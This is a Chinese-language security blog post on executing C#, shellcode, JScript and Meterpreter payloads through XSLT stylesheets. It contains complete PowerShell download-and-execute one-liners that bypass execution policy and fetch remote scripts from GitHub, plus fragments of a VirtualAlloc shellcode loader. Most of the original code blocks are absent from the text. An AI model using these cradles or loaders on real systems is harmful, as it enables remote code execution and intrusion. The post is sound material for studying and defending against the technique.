Hack With XSLT
0x00 简介
XSLT全称为拓展样式表转换语言,是一种用于将 XML 文档转换为 XHTML 文档或其他 XML 文档的语言。更多关于XSLT的教程可以参考W3school。关于XSLT的hack技巧之前已经有老师总结了WebShell系列(一)---XML,里面详细介绍了怎么通过xslt构造webshell,并且可以看的出,通过XSLT可以执行很多类型的脚本,前段时间@Casey Smith公开了一个Execute C# From XSLT 的POC,感觉很有趣,所以简单的研究了一下,也就有了此文。
0x01 POC
Casey Smith分享的poc如下:
calc.xslt
其中xsl:stylesheet用来定义样式表的根元素;version是其必须的属性,用来规定样式表的XSLT 版本;xmlns:xsl名称空间,值固定;要使用msxsl:script元素,由于其属于命名空间urn:schemas-microsoft-com:xslt,所以样式表必须包含命名空间声明;xmlns:my定义命名空间,名字随意,需要注意的是下面的implements-prefix的值要与其一致。
msxsl:script定义如下:
<msxsl:script language = "language-name" implements-prefix =
"prefix of user namespace"> </msxsl:script>
其中 msxsl 是绑定到命名空间 urn:schemas-microsoft-com:xslt 的前缀。language 属性不是强制属性,但如果指定该属性,其值必须是下列值之一:C#、VB、JScript、JavaScript、VisualBasic 或 CSharp。 如果未指定,则默认语言为 JScript。
implements-prefix属性是必选项。 此属性用于声明命名空间并将其与脚本块关联。
xsl:template元素包含了当匹配指定节点时要应用的规则,match 属性用于把模板关联到某个 XML 元素,在这里关联了example.xml,如下:
xsl:value-of 元素用于提取某个选定节点的值。在这里也就是执行我们的函数。
执行其POC,可以成功执行C#代码。
0x02 优化
为了更方便使用,将powershell代码修改成可远程加载的代码,地址为:xslt_exec.ps1 使用此脚本可加载远程及本地XSL文件并执行其中的代码。使用方式很简单,以下为DEMO:
如果想远程加载执行可以这样:
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/xslt_poc/master/xslt_exec.ps1'); xslt_exec -xslt_url https://raw.githubusercontent.com/Ridter/xslt_poc/master/calc.xslt"
0x03 Exec Shellcode
既然能执行C#,那怎么执行ShellCode呢,其实很简单,参考Casey Smith给出的代码,修改代码如下:shellcode.xslt
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,UInt32 size, UInt32
flAllocationType, UInt32 flProtect);
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
</xsl:stylesheet>
shellcode可以通过msf来生成,具体生成方法在代码里已经给出,测试如下:
0x04 Exec JScript
既然xslt可以执行多种脚本,当然也包括JScript,代码如下:
远程加载如下:
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString
('https://raw.githubusercontent.com/Ridter/xslt_poc/master/xslt_exec.ps1');
xslt_exec -xslt_url https://raw.githubusercontent.com/Ridter/xslt_poc/master/js
_calc.xslt"
之前Casey Smith分享过一个JS Dropper戳我。里面多了一个调用certuil.exe对文件进行base64加解密,这里当然也可以实现,具体代码就不贴了,地址在这。
0x05 Get Meterpreter
说了这么多,有人可能会问怎么才能获得meterpreter,其实很简单,实现代码在这。首先msf开启监听:
然后修改meter.xslt,之后用ps来加载就可以了。
0x06 Other
当然,除了powershell可以调用xslt,其他语言也可以,这里分享一个C#的,代码如下:
其他语言的,如果需要,还希望小伙伴们自己动手写写。
0x07 小结
以上仅作为一个技术分享,代码均已在github分享,地址xslt_poc,希望对你有所启发。
文章出处:Evi1cg's blog
文章链接:https://evi1cg.me/archives/Hack_With_XSLT.html